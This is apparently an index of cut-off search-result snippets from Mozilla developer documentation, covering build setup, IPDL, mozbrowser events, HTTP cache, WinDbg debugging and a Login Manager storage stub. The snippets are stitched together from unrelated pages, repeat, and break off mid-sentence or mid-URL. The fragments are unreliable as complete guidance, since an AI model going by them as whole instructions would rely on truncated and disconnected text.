...2> <input type="text" id="new-todo-input" name="new-todo" autocomplete="off" v-model.lazy.trim="label" class="input__lg" /> <button type="submit" class="btn btn__primary btn__lg"> add </button> </form> </template> let's also add the stack-large class to the <ul> tag in our app.vue file. this will help improve the spacing of our to-do items a bit. update it as follows: <ul aria-labelledby="list-summary" class="stack-large"> adding scoped styles the last component we want to style is our todoitem component. to keep the style definitions close to the component we can add a <style> element inside it. however, if these styles alter things outside of this component, it could be challenging to track down the styles responsible, and fi...
... last of all, to the <label> add a checkbox-label class. the updated template is below: the app should now have custom checkboxes. your app should look something like the screenshot below. summary our work is done on the styling of our sample app. in the next article we'll return to adding some more functionlity to our app, namely using a computed property to add a count of completed todo items to our app. previous overview: client-side javascript frameworks next in this module introduction to client-side frameworks framework main features react getting started with react beginning our react todo list componentizing our react app react interactivity: events and state react interactivity: editing, filtering, conditional rendering accessibility in react...
Mozilla’s UAAG evaluation report
ntrol panel. mozilla exposes the focus via wm_focus system messages mozilla does not use the system focus drawing routines, because they aren't flexible enough (don't support css) 7.2 respect input configuration conventions. (p1) vg mozilla implements standard keyboard bindings there are a few missing pieces, such as support in xul comboboxes (menulist) for selecting items by typing alphanumeric keystrokes 7.3 operating environment conventions. (p2) g mozilla uses non-native controls. it does, however, support the look and feel of widgets on various operating systems, when the classic theme is selected (on by default). 7.4 input configuration indications. (p2) g menus indicate accesskey and accelerator configurations accelerators n...
...: ni css: margin: yes css: float: yes css: position: yes css: !important: yes css: system fonts: yes css: system colors: yes css: list types: yes css: outline: no css: :before, :after, content: p(oor) 8.2 conform to specifications. (p2) vg html 4.01: vg css 1: vg css 2: vg dom 1.0: vg guideline 9. provide navigation mechanisms. checkpoint title status notes/plans 9.1 provide content focus. (p1) c provides a content focus 9.2 provide user interface focus. (p1) c provides a user interface focus 9.3 move content focus. (p1) g provides sequential access to links and input form controls cannot navigate to non-links and non-input form controls with event hand...
...fault (classic theme) underlines links by default does not have ui to highlight non-link and non-form elements that have event handlers can have user css for user styling of elements with event handlers 10.5 outline view. (p2) p dom inspector provides a type of outline view, although it is not intended for end users page info (ctrl+i) gives lists of links, media, forms/elements can use a user style sheet to implement an outline bug 127030 has been filed for an outline view. 10.6 provide link information. (p3) g only uses color to indicate whether a link has been visted by default context menu properties provides link information, but does not provide the size of the resource. note that the size might be discovered for certain resource...
Adding a new CSS property
ed data we've already computed from a subset of the style rules that we're currently computing from. then you need to change nsstyle*::calcdifference (in nsstylestruct.cpp) to describe how dynamic changes of your new css property need to be handled. see nschangehint.h for documentation (or if that's not sufficient, see restylemanager::processrestyledframes). ...
... from. then you need to change nsstyle*::calcdifference (in nsstylestruct.cpp) to describe how dynamic changes of your new css property need to be handled. see nschangehint.h for documentation (or if that's not sufficient, see restylemanager::processrestyledframes). then you need to change nscomputeddomstyle.cpp to implement the getcomputedstyle api. ...
...see nschangehint.h for documentation (or if that's not sufficient, see restylemanager::processrestyledframes). then you need to change nscomputeddomstyle.cpp to implement the getcomputedstyle api. you'll need to add an entry in nscomputeddomstylepropertylist.h and then add a method (matching the method name in the css property list) to implement the api. while we implement the string api in terms of the value api, we generally don't care much about the deprecated primitive value api, so in cases where there's some new structure, you should generally create the simplest structure of primitive values that will produce the right string. (we should also make this part of adding properties much more automated and make the code smaller.) animation if the existing animation behaviors in nssty...
Chrome registration
es in the components directory were registered automatically. interfaces interfaces component/mycomponent.xpt [flags] instructs mozilla to load interface information from a typelib file produced by xpidl. prior to firefox 4, files in the components directory were registered automatically. component component {00000000-0000-0000-0000-000000000000} components/mycomponent.js [flags] informs mozilla about a component cid implemented by an xpcom component implemented in javascript (or another scripting language, if applicable). the classid {0000...} must match the classid implemented by the component. to generate a unique classid, use a uuid generator program or site. contract contract @foobar/mycontract;1 {00000000-0000-0000-0000-000000000000} [flags] maps a contract id (a read...
...tem is running. for example, a theme may wish to adopt a different look on mac os x 10.5 than 10.4: osversion>=10.5 abi if a component is only compatible with a particular abi, it can specify which abi/os by using this directive. the value is taken from the nsixulruntime os and xpcomabi values (concatenated with an underscore). for example: binary-component component/mylib.dll abi=winnt_x86-msvc binary-component component/mylib.so abi=linux_x86-gcc3 see xpcom abi for more details. platform (platform-specific packages) some packages are marked with a special flag indicating that they are platform specific. some parts of content, skin, and locales may be different based on the platform being run. these packages contain three different sets of files, for windows and os/2, macintosh, ...
...omponent/mylib.so abi=linux_x86-gcc3 see xpcom abi for more details. platform (platform-specific packages) some packages are marked with a special flag indicating that they are platform specific. some parts of content, skin, and locales may be different based on the platform being run. these packages contain three different sets of files, for windows and os/2, macintosh, and unix-like platforms. for example, the order of the "ok" and "cancel" buttons in a dialog is different, as well as the names of some items. the "platform" modifier is only parsed for content registration; it is not recognized for locale or skin registration. however, it applies to content, locale, and skin parts of the package, when specified. to indicate that a package is platform-specific, add the "platform" modi...
Continuous Integration
when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure. this document will help you understand all the pieces that comprise mozilla's continuous integration systems. taskcluster and treeherder taskcluster, mozilla's continuous integration (ci) system picks up changes pushed to hg. taskcluster generate binary builds for firefox and firefox for android across a variety of operating sytems. after the builds are completed, they are used to run a series of correctness and performance tests. the results of taskcluster jobs (both builds and tests) are displayed in treeherder. there is a group of individuals who are constantly monitoring treeherder, looking for broken builds and/or tests...
...uild or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., preventing any additional commits). results in treeherder are ordered by mercurial pushes. each taskcluster job is represented by a colored label; green means a job has succeeded, while other colors represent different kinds of problems. the label text indicates the job type. for a full list of job types, see the help menu in treeherder's upper-right corner. below is a list of the most common. builds b - normal build jobs; these jobs perform compilation and some compiled-code tests (e.g., 'make check'). be - b2g build jobs for engineering builds; user builds are denoted with b, the same as for desktop and android builds.
...los suite contains a set of tests or pages, some of these in turn have sub-tests. each test is executed multiple times to produce a number of data replicates. the talos harness produces a single number per test (typically the median of all the replicates excluding the first 1-5), which are stored in treeherder's database, and are accessible via the perfherder interface. other performance systems autophone (android) autophone is a test harness which runs a set of performance tests on a variety of real android phones. it reports to a custom dashboard known as phonedash. tests currently run are primarily startup tests. games benchmarking (firefox) under development, the games benchmarking harness (aka mozbench) will allow a number of games-related benchmarks to be run against firefox ...
Creating MozSearch plugins
search engine plugin and enters "mozilla" in the search box ...
...firefox will use the above search engine description to construct the following search url: h...
...2fiynjfyd%2f1%2brvq7ffu3dpfpsbaaheahibcj85c8bn2nj4vwsdw%2f8zqlwkio8ccroqu0dxqlwrdshuwzbaaigjmtnnpgya9j8uqhfelwpxf2mideirksn9fwsjorkaeeam0dd4dzmaypi%2fg%2bqky4hh5waxgf8pdq0fgwj22d27cjadaaiirlmjo%2bmxa9r2kahvgba2wwx6b8w7od6ceqcggkcmcel8bgwxycbuigtdvkhdbia%2bcuotgaccued3tdqn75d4xmavcok9armhbzaw0aecibhkalc0mdy7x9abna3obazxiaa6ikecglmvqhwwyjyul2d4v2cpg8vzswx7ghyaaak7aoif7saboqcmn4ha3ahfsidtgpq%2fvlz8p4mskj2w9h8ggbjevxvhdo4fquqg%2fkdypqcg4h8luiacnq%2fsobmyi8basajfpcj1aaeejwvqqlpabxmh5bjjqi0gi9dtaagdbbccavlkgmq7ykczxpcqxquzhaeccj4xgml493ug21zd%2badaxh0wlm4a9mzpxjkjiiawtar5pqmalacabquulttbgccagcnnzgabbgamj5thwgvjlaaaaabjru5erkjggg%3d%3d</image> <url type="text/html" method="get" template="http://developer.mozilla.org/en/docs/special:search?search={searchterms}"/> <searchform>http://developer.mozilla...
Creating a Login Manager storage module
sampleloginmanager: " + message + "\n"); this._logservice.logstringmessage("sampleloginmanager: " + message); }, // logs function name and arguments for debugging stub: function(arguments) { var args = []; for (let i = 0; i < arguments.length; i++) args.push(arguments[i]) this.log("called " + arguments.callee.name + "(" + args.join(",") + ")"); }, init: function slms_init() { this.stub(arguments); }, initwithfile: function slms_initwithfile(ainputfile, aoutputfile) { this.stub(arguments); }, addlogin: function slms_addlogin(login) { this.stub(arguments); }, removelogin: function slms_removelogin(login) { this.stub(arguments); }, modifylogin: function slms_modifylogin(oldlogin, newlogin) { this.stub(arguments); }, getall...
...stub(arguments); }, initwithfile: function slms_initwithfile(ainputfile, aoutputfile) { this.stub(arguments); }, addlogin: function slms_addlogin(login) { this.stub(arguments); }, removelogin: function slms_removelogin(login) { this.stub(arguments); }, modifylogin: function slms_modifylogin(oldlogin, newlogin) { this.stub(arguments); }, getalllogins: function slms_getalllogins(count) { this.stub(arguments); }, removealllogins: function slms_removealllogins() { this.stub(arguments); }, getalldisabledhosts: function slms_getalldisabledhosts(count) { this.stub(arguments); }, getloginsavingenabled: function slms_getloginsavingenabled(hostname) { this.stub(arguments); }, setloginsavingenabled: function slms_setloginsavingenabled(...
...tion slms_removealllogins() { this.stub(arguments); }, getalldisabledhosts: function slms_getalldisabledhosts(count) { this.stub(arguments); }, getloginsavingenabled: function slms_getloginsavingenabled(hostname) { this.stub(arguments); }, setloginsavingenabled: function slms_setloginsavingenabled(hostname, enabled) { this.stub(arguments); }, findlogins: function slms_findlogins(count, hostname, formsubmiturl, httprealm) { this.stub(arguments); }, countlogins: function slms_countlogins(ahostname, aformsubmiturl, ahttprealm) { this.stub(arguments); } }; function nsgetmodule(compmgr, filespec) xpcomutils.generatemodule([sampleloginmanagerstorage]); sample c++ implementation bug 309807 contains a complete example. the category registration lo...
Debugging on Mac OS X
ick on it to reopen it. in the left-hand pane in xcode you should see a tree item where the root item has the project name. if the temporary directory that you originally created the xcode project in is under that, right click it and delete it. now, right click on the root item, select 'add files to "<project-name>"', select all the files and directories in your source directory, untick "copy items if needed", then click add. (these will then be progressively added under the root item <project-name> in the left-hand pane. note that subdirectories may initially appear to be empty, but they too will progressively be populated as xcode processes the sourse files. once done, you should be able to open any file quickly by hitting cmd-shift-o and typing in the name of a file.) in the product men...
...ofilename is the name of a profile you created previously. repeat that to also add the argument "-no-remote". also in the "arguments" panel, you may want to add an environment variable moz_debug_child_process set to the value 1 to help with debugging e10s. select "build" from the left of the scheme editor window, and check that there is nothing listed under targets (otherwise it may cause problems when you try to run the executable for debugging since you will get build errors). click "close" to close the scheme editor. at this point you can run the application from xcode, and when you pause or hit breakpoints it should show open the correct source file at the correct line. setting up lldb lldb is the debugger xcode provides/uses. one important issue that the mozilla .lldbinit file ...
...ice and attach to that child process. you can then debug the child process like you would any other process. when you are done debugging, click the "stop" button and quit the instance of firefox that you were debugging in the normal way. for some help on using lldb see debugging mozilla with lldb. other resources apple has an extensive list of debugging tips and techniques. questions? problems? try asking in our irc channels #developers or #macdev. ...
Simple Instantbird build
hy clone / download process. see: configure mercurial .hgrc file for progress extension. get the source note: on windows, you won't be able to build the instantbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a new directory c:\instantbird-src. note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the so...
... long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problems, but because the paths being accessed have been truncated, and so do not exist). having the source deep in a filesystem hierarchy can also cause problems with pymake builds on windows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it close to the root of your machine and re-building. get the latest source code from mozilla's comm-central mercurial code repository: hg clone http://hg.mozilla.org/comm-central then, get all the repositories it depends on. the comm-central repository includes ...
...on your own patches, an incremental build is often enough, and is very fast indeed. this will only rebuild a particular folder. so, for instantbird, you would run mach build im which has been configured to automatically rebuild /chat as well. upstream changes to fetch the latest upstream changes, in your comm-central directory, run the same command as before: python client.py checkout problems building? have you: tried a clobber? this means deleting the object directory so that your next build is completely fresh. to do this you can use mach clobber checked the instantbird buildbot for known failures at the time you pulled the code? if the trunk is broken, you may wish to consider building one of the branches (to pull the source code from a branch, just replace the url...
Simple Sunbird build
3 glibc-static libstdc++-static yasm wireless-tools-devel mesa-libgl-devel mac: install xcode tools. insert "mac os x install disc 2", then open xcodetools.mpkg. (for some mac os x versions, you will find it in a directory called "optional installs".) install macports. run these commands to install the other build tools: sudo port sync sudo port install mercurial libidl autoconf213 problems? see mac os x build prerequisites. windows: if you're using windows xp, you must have windows xp service pack 2 and .net framework 2.0. install visual c++ 2005 or 2008. both the professional edition and the express edition will work. you may need to install one or more windows sdks. see windows sdk versions for a quick guide. install mozillabuild, a package of additional build tools. (if you...
...to install one or more windows sdks. see windows sdk versions for a quick guide. install mozillabuild, a package of additional build tools. (if you get a message saying this application did not install properly then you should see a windows dialog giving you the option to re-install with the 'correct settings'. ...
...r a quick guide. install mozillabuild, a package of additional build tools. (if you get a message saying this application did not install properly then you should see a windows dialog giving you the option to re-install with the 'correct settings'. after that all should be well.) open a shell window by running: c:\mozilla-build\start-msvcx.bat (where x is 8 for vs 2005, and 9 for vs 2008). problems? see windows build prerequisites. building sunbird building sunbird requires at least 2.5 gb of disk space, 500 mb of ram, and lots of available swap space. on windows, if you open the command prompt you are usually in your user profile folder which often contains spaces ( c:\documents and settings\...). this causes problems while building. to avoid this issue, change to a directory without ...
SVG Guidelines
t to say that it always does away with the need to have a collection of raster images for display at different scales. this can be particularly true for icons. while svg may scale well enough for flat-ish icons without a lot of detail, for icons that try to pack in a lot of detail graphic artists generally want to be able to pixel tweak. performance while svg provides a lot of flexibility in terms of scaling, themability, etc. this flexibility depends on doing computations for svg images at the time they're displayed, rather than at the time the author creates them. consider an image that involves some complex gradients and filters. if saved as a raster image then the work to rasterize the gradients and filters takes place on the authors computer before the result is stored in the raster f...
...or stroke-width: 0 svg grouping style grouping group similarly styled shapes under one <g> tag; this avoids having to set the same class/styles on many shapes. avoid excessive grouping editors can sometimes do excessive grouping while exporting svgs. this is due to the way editors work. nested groups avoid multiple-level nesting of groups, these make the svg less readable. nested transforms some editors use <g> tags to do nested transforms, which is usually not needed. you can avoid this by doing basic algebra, for example: <g transform="translate(-62, -310)"><shape transform="translate(60, 308)"/></g> can be cut down to: <shape transform="translate(-2,-2)"/> because: -62+60 = -310+308 = -2 performance tips these rules are optional, but they help speeding up the svg. avoid...
...a, for example: <g transform="translate(-62, -310)"><shape transform="translate(60, 308)"/></g> can be cut down to: <shape transform="translate(-2,-2)"/> because: -62+60 = -310+308 = -2 performance tips these rules are optional, but they help speeding up the svg. avoid using a <use> tag when that <use> tag is being referenced only once in the whole file. instead of using css/svg transforms, apply directly the transform on the path/shape definition. tools tools can help to clean svg files. note, however that some of the rules stated above can be hard to detect with automated tools since they require too much context-awareness. to this date, there doesn't seem to be a tool that handles all of the above. however, there are some utilities that cover parts of this document: mostl...
mach
and not utterly helpful. that above bootstrap.py will download and setup everything so you can build a mozilla app such as firefox etcetera, so it is a nice starting point. why should i use mach? you should use mach because it provides a better and more unified developer experience for working on mozilla projects. ...
...that command is related to. for example, bugs in the build command should be filed against firefox build system :: general. bugs against testing commands should be filed somewhere in the testing product. how is building with mach different from building with client.mk, from using make directly? currently, mach build simply invokes client.mk as an ersatz makefile. there are no differences in terms of how the build is performed (well, at least there should not be any ideally). however - mach does offer some additional features over manual invocation of client.mk: if on windows, mach will automatically use pymake instead of gnu make, as that is preferred on windows. mach will print timings with each line of output from the build. this gives you an idea of how long things take. mach will...
...neric tool. the mach core is the only thing that could fall under perview of a module and an owner. even if a mach module were established, mach command modules (see below) would likely never belong to it. instead, mach command modules are owned by the team/module that owns the system they interact with. in other words, mach is not a power play to consolidate authority for tooling. instead, it aims to expose that tooling through a common, shared interface. who do i contact for help or to report issues? you can ask questions in #build. can i use mach outside of mozilla-central? yes, the mach core is in mozilla-central inside the python/mach directory and available on pypi at https://pypi.python.org/pypi/mach/. the actual file "mach" (a py script) , which you need, is not there though - l...
Experimental features in Firefox
as per the whatwg spec (bug 1509527), but we still need to make other changes too, like making it available on contenteditable content. see also bug 1205133 for details. release channel version added enabled by default? nightly 75 yes developer edition 75 no beta 75 no release 75 no preference name dom.forms.inputmode <link rel="preload"> the <link> element's rel attribute is intended to help provide performance gains by letting you download resources earlier in the page lifecycle, ensuring that they're available earlier and are less likely to block page rendering. read preloading content with rel="preload" for more details. for more details on the status of this feature, see bug 1639607. ...
... media session api the entire firefox implementation of the media session api is currently experimental. this api is used to customize the handling of media-related notifications, to manage events and data useful for presenting a user interface for managing media playback, and to obtain media file metadata. see bug 1112032 for more details. release channel version added enab...
... 62 no developer edition 62 no beta 62 no release 62 no preference name media.mediasource.experimental.enabled avif (av1 image file format) support with this feature enabled, firefox supports the av1 image file (avif) format. this is a still image file format that leverages the capabilities of the av1 video compression algorithms to reduce image size. see bug 1443863 for more details. release channel version added enabled by default? nightly 77 no developer edition 77 no beta 77 no release 77 no preference name image.avif.enabled av1 support for firefox on android this feature allows firefox on android to use av1 format med...
mozbrowsermetachange
ta> element related to web applications is added, removed or changed. see below for the applicable types. ...
...type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: name a domstring representing the <meta> name attribute value. this can be viewmode, theme-color, theme-group, or application-name. content a domstring representing the <meta> content attribute value, i.e. the content of the meta tag. type a domstring representing the type of meta change that this event object represents. this can be added, changed, removed, or undefined. ...
...if not included, the value returned is undefined. example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsermetachange", function(event) { console.log("a meta tag has been " + event.details.type + ". ...
mozbrowseropenwindow
mbedder must use the <iframe> passed in the event.details.frameelement property as the new window content. ...
...for a complete list of possible features, see window.open(). ...
...ther the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following properties: url a domstring representing the url of the document loaded within the frameelement property. name a domstring representing the name of the new browser window. features a domstring containing features represented by a list of names and values separated by commas. for a complete list of possible features, see window.open(). frameelement an object representing the new browser <iframe> that will embed the new content. example var browser = document.queryselector("iframe"); browser.addeventlisten...
mozbrowsersecuritychange
is fired when the browser <iframe> has connected to the server, and when the mixed content state changes. ...
...possible values are: broken: indicates an unknown security state. this may mean that the request is being loaded as part of a page in which some content was received over an insecure channel. secure: indicates that the data corresponding to the request was received over a secure channel. ...
... broken: indicates an unknown security state. this may mean that the request is being loaded as part of a page in which some content was received over an insecure channel. secure: indicates that the data corresponding to the request was received over a secure channel. insecure: indicates that the data corresponding to the request was received over an insecure channel. trackingstate a domstring representing the current loading state of tracking content. possible values are: loaded_tracking_content: indicates that the tracking content has been loaded. blocked_tracking_content: indicates that the tracking content has been blocked from loading. mixedstate a domstring representing the current loading state of mixed active content. possible values are: loaded_mixed_activ...
mozbrowsershowmodalprompt
the content of a browser <iframe> calls the window.alert(), window.confirm(), or window.prompt() methods. ...
...ype read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property is an anonymous javascript object with the following properties: prompttype a domstring defining the type of the prompt. it can be alert, confirm, or prompt. title a domstring representing the title of the prompt. message a domstring representing the value passed to the window.alert(), window.confirm(), or window.prompt() methods within the browser <iframe>'s content. returnvalue a domstring representing the return value for the window.prompt() methods. this should be set...
...for that event, it's always showmodalprompt. initialvalue a string representing the initial value for the window.prompt() methods. ...
mozbrowserusernameandpasswordrequired
ing a dialog or a database of username/passwords, and then call authenticate() or cancel() as appropriate. ...
... isproxy a boolean indicating whether the server dealing with the authentication is a proxy server (true) or not (false). authenticate() a function that is called to enable the authentication to go ahead. ...
... boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. details the details property returns an anonymous javascript object with the following members: host a domstring representing the host requesting the http authentification. realm a domstring representing the value of the realm http header. isproxy a boolean indicating whether the server dealing with the authentication is a proxy server (true) or not (false). authenticate() a function that is called to enable the authentication to go ahead. it needs to take two parameters — the username and password to authenticate. cancel() a function that is called to cancel the authent...
Gecko Keypress Event
tcut keys. if gecko doesn't replace the charcode with an ascii character, the web application developers would need to consider all non-latin keyboard layouts (arabic, greek, hebrew, russian, etc.). the charcode value depends on the state of capslock and numlock (except they are currently ignored if alt (option) is down on mac - see bug 432953). there are also some differences between the platforms, as described in the following sections. windows the charcode is replaced only when ctrl is down but alt is not down. if the os-provided character cannot be entered without using the ctrl key, then, gecko does not replace the character. e.g., ctrl+shift+'2' on persian keyboard layout inputs a zwnj, though shift+'2' inputs '@', and so, if gecko were to replace the charcode in this case, users w...
...ch those specified in the handler. for the us keyboard layout, a related handler is defined with <key key="=" modifiers="accel"/>, so that users do not need to use the shift key to access the zoom-in shortcut. of course, this is not much help to users with other keyboard layouts. e.g., on a japanese keyboard, '+' is entered with shift+';' (bug 339723). problem 2 the access keys for the menu items are specified with the localized characters on some localized builds. these localized access keys work fine with the keyboard layout of the locale. however, users with the same non-latin keyboard layouts would also like to be able to use latin access keys of en-us builds (including nightly builds) without needing to switch keyboard layout (bug 399939). problem 3 users with non-latin keyboard l...
...uding menu accesskey, handling is currently similar, but this should not be relied on. there should be no chrome access keys with punctuation characters or other characters that would normally require depressing the shift key.) during accel key handling, if the event includes the shift modifier, but an alternative charcode is not a bicameral letter (i.e., it does not have upper and lower case forms), then the shift modifier state should be ignored if there is no exactly matching handler (requiring shift to be down). (when option (alt) on mac is down, the alt modifier should be ignored in the same way, but this is not implemented in gecko 1.9. see bug 306585). during accel key handling, if the character is a bicameral letter, the shift key should never be ignored. i.e., ctrl+shift+'c' shoul...
HTTP Cache
e entry and may examine and potentially modify the meta data and read the data (if any) of the cache entry. when the writer has data (i.e. the response payload) to write to the cache entry, it must open the output stream on it before it calls metadataready. when the writer still keeps the cache entry and has open and keeps open the output stream on it, other consumers may open input streams on the entry. the data will be available as the writer writes data to the cache entry's output stream immediately, even before the output stream is closed. this is called concurrent read/write. concurrent read and write important difference in behavior from the old cache: the cache now supports reading a cache entry data while it is still being written by the first consumer - the writer. th...
...ext key generation and parsing code and enhance current - or create new when needed - nsicachestorage implementations to carry any additional information down to the cache service. [not preferred] add a new argument to nsiloadcontextinfo; be careful here, since some arguments on the context may not be known during the load time, what may lead to inter-context data leaking or implementation problems. adding more distinction to nsiloadcontextinfo also affects all existing storages which may not be always desirable. see context keying details for more information. code examples tbd opening an entry creating a new entry recreating an already open entry implementation threading the cache api is fully thread-safe. the cache is using a single background thread where any io operations li...
...omatically on the "memory-pressure" indication. access to the hashtables is protected by a global lock. we also - in a thread-safe manner - count the number of consumers keeping a reference on each entry. the open callback actually doesn't give the consumer directly the cacheentry object but a small wrapper class that manages the 'consumer reference counter' on its cache entry. this both mechanisms ensure thread-safe access and also inability to have more then a single instance of a cacheentry for a single <scope+enhanceid+url> key. cachestorage, implementing the nsicachestorage interface, is forwarding all calls to internal methods of cachestorageservice passing itself as an argument. cachestorageservice then generates the scope key using the nsiloadcontextinfo of the storage. note: cach...
How to get a stacktrace with WinDbg
which symbols are availables from the mozilla symbol server to use with windbg. you can use any official nightly build or released version of firefox from mozilla. you can find the latest trunk nightly builds under http://ftp.mozilla.org/pub/mozilla.o.../latest-trunk/. debugging to begin debugging, ensure that firefox is not already running and open windbg from the start menu. (start->all programs->debugging tools for windows->windbg) next, open the "file" menu and choose "open executable...". in the file chooser window that appears, open the firefox.exe executable in your firefox program folder (c:\program files\mozilla firefox). you should now see a "command" text window with debug output at the top and an input box at the bottom. before debugging can start, several commands must be ent...
... all commands must be entered exactly as written, one line at a time, into the bottom of the command box. copying and pasting each line is the easiest method to avoid mistakes some commands start with a period (.) or a pipe character (|), which is required. (the keystroke for a pipe character on us keyboards is shift+\) submit the log file on a bug or via the support site, even if nothing seems to happen during the debug process start debugging now that firefox is opened in the debugger, you need to configure your windbg to download symbols from the mozilla symbol server. to load the symbols, enter the three commands below, pressing enter after each one. (more details are available at using the mozilla symbol server.) .sympath srv*c:\symbols*http://symbols.mozilla.org/firefox;srv*c...
... the debug process start debugging now that firefox is opened in the debugger, you need to configure your windbg to download symbols from the mozilla symbol server. to load the symbols, enter the three commands below, pressing enter after each one. (more details are available at using the mozilla symbol server.) .sympath srv*c:\symbols*http://symbols.mozilla.org/firefox;srv*c:\symbols*http://msdl.microsoft.com/download/symbols .symfix+ c:\symbols .reload /f now wait for the symbols to download. this may take some time depending on your connection speed; the total size of the mozilla and microsoft symbols download is around 1.4gb. windbg will show "busy" at the bottom of the application window until the download is complete. once the download is complete, you need to configure windbg ...
Extending a Protocol
ge to the os or spin up something off the main thread - so it's biased towards supporting w3c/whatwg dom apis. what are we going to implement? tl:dr: you can see the final implementation of pecho.ipdl as a diff in phabricator. to make this tutorial less abstract (more fun!), we are going to implement a js method called echo() on the navigator interface. the method will take one argument, a domstring, which we will pass to the parent process. then we will send that same string back to the child process. the webidl for this will be: partial interface navigator { promise<domstring> echo(domstring somestring); }; learning goals are: extending an existing ipdl protocol. simple message passing. working with mozpromises and js promises. managing child actors with reference countin...
.... visually, it's going to look something like this (except for the operating system bit, which we are not actually going to do - just to illustrate what we could do): let's start by implementing the webidl above. implementing the navigator.echo() in your favorite editor, open dom/webidl/navigator.webidl at the end of the file, add: partial interface navigator { [throws] promise<domstring> echo(domstring astring); }; now we need to implement the echo() method in c++, so open up ./dom/base/navigator.h and let's add the method definition, so under public:: already_addrefed<promise> echo(const nsastring& astring, errorresult& arv); we use nsastring& as the domstring comes in from js as utf-16. this will matter later, as we will need to convert it to utf-8 (using nscstri...
...async", meaning we are going to use mozpromises. it's also "refcounted", meaning it we can use refptr<> for instances that can be cycle collected. manager pwindowglobal; - we explicitly state that pwindowglobal is our manager. parent: - these are the messages that the parent is able to recieve. note that the child doesn't need to receive any messages. this is because of "async" and "returns" forms a mozpromise. async echo(nscstring data) returns (nscstring aresult); - the "returns" here translates to a mozpromise, with a resolver that will settle a promise with the expected value. async __delete__(); - this is called when an instance is deleted. it lets you do cleanup if needed. ok, if we now try to compile this (./mach build), it will say: |manager| declaration in protocol `pecho' d...
PBackground
this article outlines what pbackground is, and how it works. ipdl recap ipdl is a language used to define "protocols" — essentially formalized versions of how two things can communicate. it is similar in some respects to idl and webidl. ...
...content process we don't need to go through the main thread of the parent process. instead we can go directly to the compositor thread in the parent process by creating a new top-level protocol that connects the compositor thread in the parent process to the main thread of a child process. this protocol is called pcompositor, and allows us to bypass the main thread of the parent process, which trims the latency of texture uploads since they will not get bogged down if that thread is busy. writing code that works in both chrome and content processes a lot of code "just works" in the content process. but some things, such as apis that need to manipulate files or device settings (e.g. geolocation) cannot run in the content process because it has restricted privileges. instead, these apis must...
... awkward pattern seen in some parts of the gecko codebase, looking something like this (try searching for geckoprocesstype_default in dxr): if (xre_getprocesstype() == geckoprocesstype_default) { dothething(arguments); } else { mipdlprotocol->senddothething(arguments); } this can get unwieldy very quickly, so a better solution was needed. pbackground pbackground exists to solve such problems. it connects a designated "background" thread in the chrome process to any other thread in any other process. pbackground allows us to bypass the chrome process's main thread if used from the content process' main thread. bypass both main threads if used from a non-main thread in a content process write process-agnostic code because it can be used even from another thread in the parent proce...
IPDL Tutorial
me prejudice.) preferred semantics use async semantics whenever possible. blocking on replies to messages is discouraged. if you absolutely need to block on a reply, use sync semantics very carefully. it is possible to get into trouble with careless uses of synchronous messages; while ipdl can check and/or guarantee that your code does not deadlock, it is easy to cause nasty performance problems by blocking. please don't use rpc semantics. rpc semantics exists mainly to support remoting plugins (npapi), where we have no choice. chrome to content calls (for ipc tabs) must only use async semantics. in order to preserve responsiveness, the chrome process may never block on a content process which may be busy or hung. message delivery order delivery is "in-order", that is, messages are d...
...}; class ppluginchild { /* allocate a pplugininstancechild when we receive the pplugininstance constructor */ virtual pplugininstancechild* allocpplugininstance(const nscstring& type, const nstarray<nscstring>& args, int* rv) = 0; /* deallocate a pplugininstancechild after we handle the pplugininstance destruc...
... it may be possible to answer the message directly in allocpplugininstance. */ virtual bool answerpplugininstanceconstructor(pplugininstancechild* actor, const nscstring& type, const nstarray<nscstring>& args, int* rv) { } /* answer the destructor message. */ virtual bool answer__delete__(pplugininstancechild* actor) = 0; /* notification that actor deallocation is imminent, ipdl mechanisms are now unusable */ virtual void actordestroy(actordestroyreason why); ... }; subprotocol actor lifetime allocpprotocol and deallocpprotocol are a matched pair of functions. the typical implementation of these functions uses `new` and `delete`: class pluginchild : ppluginchild { virtual pplugininstancechild* allocpplugininstance(const nscstring& type, const nstarray<nscstring>& args, int...
OSFile.jsm
eral seconds to execute operations that look trivial, such as closing a file, or checking when it was last modified. if the operation is called on the main thread, this means that the whole user experience is stuck for several seconds, which is quite bad. why is i/o efficiency important? i/o efficiency is all about minimizing the number of actual i/o calls. this is critical because some platforms have extremely slow storage (e.g. smartphones, tablets) and because, regardless of the platforms, doing too much i/o penalizes not just your application but potentially all the applications running on the system, which is quite bad for the user experience. finally, i/o is often expensive in terms of energy, so wasting i/o is wasting battery. consequently, one of the key design choices of os.file...
... using os.file ... from the main thread most uses of os.file are from the main thread. ...
... using os.file ... from the main thread most uses of os.file are from the main thread. ...
Webapps.jsm
ion(aappstoregister, arunupdate) _registeractivities: function(amanifest, aapp, arunupdate) _createactivitiestounregister: function(amanifest, aapp, aentrypoint) _unregisteractivitiesforapps: function(aappstounregister) _unregisteractivities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) observe: function(asubject, atopic, adata) addmessagelistener: function(amsgnames, aapp, amm) removemessagelistener: function(amsgnames, amm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir...
